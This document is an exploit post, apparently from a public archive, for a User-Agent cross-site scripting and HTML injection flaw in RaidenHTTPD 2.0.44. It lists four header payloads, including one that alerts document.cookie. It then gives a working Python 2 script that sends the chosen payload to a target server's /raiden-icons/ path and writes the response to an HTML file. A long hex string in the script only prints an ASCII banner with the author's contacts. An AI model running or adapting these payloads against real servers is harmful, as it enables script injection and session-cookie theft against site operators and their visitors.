RaidenHTTPD 2.0.44 User-Agent Cross Site Scripting

`# Exploit Title: RaidenHTTPD 2.0.44 - User-Agent - HTML Injection & Cross-site scripting  
  
# Exploit Author: sultan albalawi  
  
# :@bofheaded  
  
# :https://hackinguyz.blogspot.com/  
  
#exploit User-Agent HTTP header :  
  
#For remote testing use http-live -There is no need to use the script <<<--------  
  
#Delete or replace User-Agent || Copy and paste this using http_live <<<--------  
  
#exploit 1= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0)hpqoa</title><script >alert(document.cookie)</script >wxo3i  
#exploit 2= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>wxo3i  
#exploit 3= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i  
#exploit 4=User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><script>alert('packetstormsecurity')</script>wxo3i  
#  
#----------------------------------------------------------------------  
import requests,sys  
def myB():  
print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \  
"\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \  
"\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \  
"\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \  
"\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \  
"\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \  
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \  
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \  
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \  
"\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \  
"\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \  
"\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \  
"\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \  
"\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \  
"\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \  
"\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \  
"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \  
"\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \  
"\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \  
"\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \  
"\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \  
"\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \  
"\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \  
"\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \  
"\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \  
"\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \  
"\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \  
"\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \  
"\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \  
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \  
"\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \  
"\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \  
"\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \  
"\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \  
"\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \  
"\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \  
"\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \  
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \  
"\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \  
"\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \  
"\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \  
"\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \  
"\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \  
"\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \  
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \  
"\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \  
"\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \  
"\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \  
"\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \  
"\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \  
"\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \  
"\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \  
"\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \  
"\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \  
"\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \  
"\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d"  
if len(sys.argv) < 2:  
print 'ie: python ' + sys.argv[0] + ' <http://site.com:8080 > <or http://site.com> '  
sys.exit(1)  
  
pyload = ['''<form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i''',  
"<script >alert(document.cookie)</script >",  
"<img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>",  
"<script>alert(packetstormsecurity)</script>",  
"<img src=\"blah.jpg\" onerror=\"alert('XSS')\"/>"]  
myB()  
print "\r\n"  
url = sys.argv[1]+'/raiden-icons/?jt_mtime=d'  
print "\r\n"  
print "target host: --> {}".format(url)  
print "\r\n"  
print "-"*50  
print" 0 "+pyload[0]+"\t\n\r"  
print" 1 "+pyload[1]+"\t\n\r"  
print" 2 "+pyload[2]+"\t\n\r"  
print" 3 "+pyload[3]+"\t\n\r"  
print" 4 "+pyload[4]+"\t\n\r"  
print "\t\n"+"-"*50  
print "\r\n"  
while True:  
print "\r\n"  
print "\r\n"  
num=pyload[input('exploit number : ')]  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title>'+num+'wxo3i'}  
response = requests.get(url, headers=headers)  
print(response.content)  
file=open("RaidenHTTPD-2.0.44.html",'w')  
file.write(response.content)  
file.close()  
print "\t\n"+"="*50  
print "\r\n"  
print "\r\n"  
print 'file exploit created --> [ RaidenHTTPD-2.0.44.html ]'  
`